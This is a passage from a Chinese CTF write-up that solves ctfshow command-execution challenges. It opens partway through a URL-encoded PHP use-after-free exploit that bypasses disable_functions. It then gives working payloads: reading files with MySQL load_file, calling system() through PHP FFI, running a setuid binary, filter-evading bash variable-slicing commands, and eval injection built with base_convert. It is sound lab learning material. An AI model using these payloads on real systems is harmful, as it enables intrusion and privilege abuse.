20%20%24%6e%5f%61%6c%6c%6f%63%20%3d%20%31%30%3b%20%0a%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%20%3d%20%5b%5d%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%5f%61%6c%6c%6f%63%3b%20%24%69%2b%2b%29%0a%20%20%20%20%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%5b%5d%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%0a%20%20%20%20%74%72%69%67%67%65%72%5f%75%61%66%28%27%78%27%29%3b%0a%20%20%20%20%24%61%62%63%20%3d%20%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%5b%30%5d%3b%0a%0a%20%20%20%20%24%68%65%6c%70%65%72%20%3d%20%6e%65%77%20%48%65%6c%70%65%72%3b%0a%20%20%20%20%24%68%65%6c%70%65%72%2d%3e%62%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%24%78%29%20%7b%20%7d%3b%0a%0a%20%20%20%20%69%66%28%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%37%39%20%7c%7c%20%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%30%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%55%41%46%20%66%61%69%6c%65%64%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%29%3b%0a%20%20%20%20%24%70%68%70%5f%68%65%61%70%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%35%38%29%3b%0a%20%20%20%20%24%61%62%63%5f%61%64%64%72%20%3d%20%24%70%68%70%5f%68%65%61%70%20%2d%20%30%78%63%38%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%30%2c%20%32%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%37%30%2c%20%36%29%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%30%78%36%30%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%38%2c%20%30%78%61%29%3b%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%32%30%29%3b%0a%0a%20%20%20%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%2c%20%38%29%3b%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%65%20%3d%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%64%65%74%65%72%6d%69%6e%65%20%62%69%6e%61%72%79%20%62%61%73%65%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%65%6c%66%20%3d%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%70%61%72%73%65%20%45%4c%46%20%68%65%61%64%65%72%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%69%63%5f%66%75%6e%63%73%20%3d%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%62%61%73%69%63%5f%66%75%6e%63%74%69%6f%6e%73%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%7a%69%66%5f%73%79%73%74%65%6d%20%3d%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%7a%69%66%5f%73%79%73%74%65%6d%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%0a%20%20%20%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%3d%20%30%78%64%30%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%31%30%3b%20%24%69%20%2b%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%2b%20%24%69%2c%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%2c%20%24%69%29%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%32%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%33%38%2c%20%31%2c%20%34%29%3b%20%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%36%38%2c%20%24%7a%69%66%5f%73%79%73%74%65%6d%29%3b%20%0a%0a%20%20%20%20%28%24%68%65%6c%70%65%72%2d%3e%62%29%28%24%63%6d%64%29%3b%0a%20%20%20%20%65%78%69%74%28%29%3b%0a%7d%0a%0a%63%74%66%73%68%6f%77%28%22%63%61%74%20%2f%66%6c%61%67%30%2e%74%78%74%22%29%3b%6f%62%5f%65%6e%64%5f%66%6c%75%73%68%28%29%3b%0a%3f%3e

image-20240721195047056

ctfshow{b17c6689-2a10-4e6f-b03e-c2f49c222336}

当然还有另一种方法,下面的题会提到

web73

命令执行,突破禁用函数,求你们别秀了

无源码

flag在/flagc.txt

image-20240721210403688

这次没有访问限制了

c=include('/flagc.txt');die();

image-20240721213804033

ctfshow{50d33b2a-5b97-4223-aac2-c78182441cb5}

web74

命令执行,突破禁用函数,求你们别秀了

flagx.txt

image-20240721214050771

c=include('/flagx.txt');die();

ctfshow{222aeadb-0ffb-42bc-8c80-74e8e0caae38}

web75

命令执行,突破禁用函数,求你们别秀了

php有访问限制,UAF中strlen也被ban了,不过可以利用mysql绕过php访问限制

可以看到靶机是有mysql的

image-20240721230236342

连接mysql,执行mysql语句select load_file("/flag36.txt")拿到flag

c=
$con = mysqli_connect("localhost","root","root");
$result = mysqli_query($con, 'select load_file("/flag36.txt")');
$row = mysqli_fetch_assoc($result);
foreach($row as $c)
	echo($c);
die();

image-20240721230439141

ctfshow{fc5f2bcb-c2cc-43df-9513-0acd83f70f95}

web76

命令执行,突破禁用函数,求你们别秀了

36d是吧,好好好

image-20240721231207289

c=
$con = mysqli_connect("localhost","root","root");
$result = mysqli_query($con, 'select load_file("/flag36d.txt")');
$row = mysqli_fetch_assoc($result);
foreach($row as $a)
echo($a);
die();

ctfshow{d8877e6a-9560-453c-a216-9223feaf23db}

web77

命令执行最后一题,php7.4,基本上命令执行就告一段落了

这题挺有意思,提示了php7.4的版本,在PHP7.4: 新特性 - Manual中更新了FFI扩展

image-20240721233003003

PHP: 基础 FFI 用法 - Manual,相当于我们可以api调用c语言的函数辣

image-20240721232743588

本地搭建:docker php7.4-apache FFI模块安装|n0o0b’s home

我们可以构造如下代码调用c的system来执行shell

c=
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami"); 

可并无回显

外部函数接口在外部后台执行的,怎么会有回显呢

可以发现c执行的输出定向到linux标准输出,不走web

简单来说,php通过中间件输出到web,而外部调用c输出本地,个人理解,欢迎指正

image-20240909193500734

再加两行

 $ffi->system("whoami > a");
 echo include"a";

a在当前目录下,没有限制

image-20240722020912589

记住这个www-data,后面要考

c=
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("ls /> a");
include"a";
die();

image-20240722013647556

c=
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("cat flag36x.txt> a");
include"a.txt";
die();

竟然没有回显

image-20240722020530256

46字节是有数据的,问题出在权限上,文件权限-r–r-----,而在前面提到用户是www-data,啥也干不了

image-20240722020617598

问题不大,根目录下还有一个readflag,我们有读和执行的权限

image-20240722023502047

是个ELF文件

image-20240722023713345

down下来反编译一下

image-20240722023736557

执行了cat /flag36.txt,按理和我们system执行的结果没区别,实则不然

image-20240722031633775

此时我们再回到这个文件的权限上:-r-sr-xr-x,发现在文件所有者上的权限是r-s,而非r-w,这个s代表特殊权限(Setuid)。当 s 替代 x 时,表示设置了 setuid 位。这意味着当执行该文件时,它将以文件所有者的权限运行,而不是执行者的权限。

顿悟,直接执行该文件读出flag即可

c=
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("/readflag > a");
include"a";
die();

image-20240722031727620

ctfshow{39dacd76-7b9a-4c28-a815-76d4bd5b5c9f}

ctfshow flag getter和flag是倒过来输出的>

web118

flag in flag.php

有个post提交框,提交空白试试image-20240722170101863

报错发现提交的数据被传进system函数了,前端代码也有提示

接着测试发现小写字母、数字和大部分符号都被ban了,保留了${}?.

之前方法基本都用不了了,当然,有新姿势

先看一个好玩的

image-20240722172644344

可以发现${PATH:5:1}${PATH:11:1}执行了ls

image-20240722172750248

可以发现${PATH:5:1}${PATH:11:1}就是产出了ls,why?

这就要说到环境变量和linux中的切片了

  • set可以查看所有本地环境变量,而这些环境变量基本全都是大写和字符组成image-20240722175410061

  • 和php一样,echo $[变量名]可以打印出环境变量

    image-20240722175851253

  • 在linux中${var:offset:length}为字符串切片,其中var为变量名,offset为开始的偏移量,length为截取长度

    当length为负数时,length为结束的偏移量

    image-20240722181328487

通过对环境变量的切片的方法,就可以利用环境变量中的字符构造出需要的命令

回到${PATH:5:1}${PATH:11:1},利用/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin中第6位(offset+1)字符l和第12位字符s,组合执行ls

那么问题来了,题目中数字被ban了,无法确定某个字符位置怎么办呢?

web57中,有提到$(())相当于0,取反后就是-1,可是( )也被ban了

不过,${}会解析括号内所有的变量及运算式

image-20240722210745362

如果,我们对一个空变量作取反运算呢

image-20240722211012258

可以通过${PATH:~N}拿到了PATH环境变量的最后一个字符n,如果再拿到一个l,不就可以执行nl了吗
php web默认目录一般在/var/www/html,而$PWD存储工作目录,${PWD:~N}就可以拿到字符l

image-20240722211906831

flag.php可以用????????表示

于是

${PATH:~N}${PWD:~N} ????????

image-20240722212136691

ctfshow{a3aaa603-35f6-40be-89da-36fe7a049295}

当然,这题也可以利用${#var}对var变量的字符数量统计来任意位置字符提取,例如

image-20240722212629163

web119

这题多ban了PATH,无伤大雅

众所周知,linux指令是不可以用?通配的,但文件可以,指令也是通过调用bin文件夹下的文件执行的,而文件路径就可以用?通配了,搭配上一章的${PWD:~N}==>n是否可以构造出nl呢?

看一下nl指令在哪

image-20240722224429631

/???/???/?${PWD:~N}

image-20240722224604122

可以发现执行成功了,但问题来了,/被ban了,该怎么表示呢?

在环境变量PWD中,第一位就是/,可如何截取呢?

截取单个字符,length=1是尤为重要的

上一章结尾提到了,${}中变量前加#可以返回变量字符串长度,查看环境变量发现变量SHLVL值为1

image-20240722175410061

变量SHLVL用来指示当前 shell 的嵌套层次,不能确定嵌套层次,但基本上是个位数

于是,构造

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${PWD:~N} ????????

image-20240722225731539

web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

又加了个长度限制,65个字符以内,问题不大

$# ==>传给脚本的参数个数

image-20240722232446058

没想到#也是变量吧,其实?也是

将上一章${PWD::${SHLVL}}换成${PWD::${##}}即可

code=${PWD::${##}}???${PWD::${##}}???${PWD::${##}}?${PWD:~N} ????????

image-20240722231422963

ctfshow{476342c1-1b4b-45c1-93ee-febebd6532b4}

web121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

喜欢玩极限是吧

利用${PWD:${#IFS}:${##}}截取PWD变量(/var/www/html)中第4个字符r,从而构造/???/r??执行 /bin/rev

IFS=$’ \t\n’

image-20240722235020157

image-20240722235109166

image-20240723000339716

${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????????

image-20240723000404562

echo "galf"|rev

image-20240723000654409

ctfshow{c46d1a47-a7b5-4a1f-80f5-f82079d02607}

web122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

PWD#也被ban了,蓟县,不过<被放出来了

先贴上payload

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????????

<A;构造异常指令,使得退出状态码为1,而$?值为最后命令的退出状态,0表示没有错误,其他表示有错误

常见的退出状态码

  • 0: 成功
  • 1: 一般错误,例如语法错误或未知命令
  • 2: Misuse of shell built-ins(内建命令使用错误),例如使用错误的选项
  • 126: 命令不可执行
  • 127: 命令未找到
  • 128: 无效的退出参数
  • 128 + N: 表示命令被信号 N 中断
  • 130: 命令通过 Ctrl+C 被用户终止

异常指令使?变量值为1,再利用HOME变量,构造${HOME::$?},得到/

再利用RANDOM变量构造{RANDOM::?}随机输出第一位数字,当回赌狗,当首数字随机出4的时候,就可以执行/???/?????4了,即/bin/base64

image-20240723004616502

当赌狗就完事了

image-20240723005140874

echo "base64encode"|base64 -d

image-20240723005403625

ctfshow{996be85e-39d9-4f0f-8ac5-ef492ffaff9d}

web124

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

最后一题了

这题挺有意思,黑名单里的符号都不能出现,字母只能用白名单里的函数,数字随便用

函数全是数学函数

函数 描述 PHP
abs() 绝对值。 3
acos() 反余弦。 3
acosh() 反双曲余弦。 4
asin() 反正弦。 3
asinh() 反双曲正弦。 4
atan() 反正切。 3
atan2() 两个参数的反正切。 3
atanh() 反双曲正切。 4
base_convert() 在任意进制之间转换数字。 3
bindec() 把二进制转换为十进制。 3
ceil() 向上舍入为最接近的整数。 3
cos() 余弦。 3
cosh() 双曲余弦。 4
decbin() 把十进制转换为二进制。 3
dechex() 把十进制转换为十六进制。 3
decoct() 把十进制转换为八进制。 3
deg2rad() 将角度转换为弧度。 3
exp() 返回 Ex 的值。 3
expm1() 返回 Ex - 1 的值。 4
floor() 向下舍入为最接近的整数。 3
fmod() 返回除法的浮点数余数。 4
getrandmax() 显示随机数最大的可能值。 3
hexdec() 把十六进制转换为十进制。 3
hypot() 计算直角三角形的斜边长度。 4
is_finite() 判断是否为有限值。 4
is_infinite() 判断是否为无限值。 4
is_nan() 判断是否为合法数值。 4
lcg_value() 返回范围为 (0, 1) 的一个伪随机数。 4
log() 自然对数。 3
log10() 以 10 为底的对数。 3
log1p() 返回 log(1 + number)。 4
max() 返回最大值。 3
min() 返回最小值。 3
mt_getrandmax() 显示随机数的最大可能值。 3
mt_rand() 使用 Mersenne Twister 算法返回随机整数。 3
mt_srand() 播种 Mersenne Twister 随机数生成器。 3
octdec() 把八进制转换为十进制。 3
pi() 返回圆周率的值。 3
pow() 返回 x 的 y 次方。 3
rad2deg() 把弧度数转换为角度数。 3
rand() 返回随机整数。 3
round() 对浮点数进行四舍五入。 3
sin() 正弦。 3
sinh() 双曲正弦。 4
sqrt() 平方根。 3
srand() 播下随机数发生器种子。 3
tan() 正切。 3
tanh() 双曲正切。 4

base_convert函数可以实现任意进制转换,我们熟知的2进制、10进制、16进制,到了16进制就用到字母abcde了,那如果10+26=36进制呢?

是不是可以实现字母全覆盖呢?

实验证明是可行的

image-20240723013421158

?c=$abs=base_convert(1751504350,10,36);$acos=base_convert(784,10,36);$abs($acos);

image-20240723021646536

遗憾的是这题有长度和符号限制

那只能另辟蹊径,构造一个GET传参呢?

这样就可以突破字数限制了

base_convert转换的36进制为小写字母,_GET为符号加大写字母,不过我们可以构造hex2bin函数将GET的十六进制编码解码为字符串,而十六进制非纯数字,再把十六进制编码转为十进制

image-20240723023313747

超了,只能再换个短一点的函数dechex()(十进制转十六进制)

image-20240723023318411

拿下

image-20240723023757208

ctfshow{28941ce0-a42c-45fa-bf39-d45fb4c59989}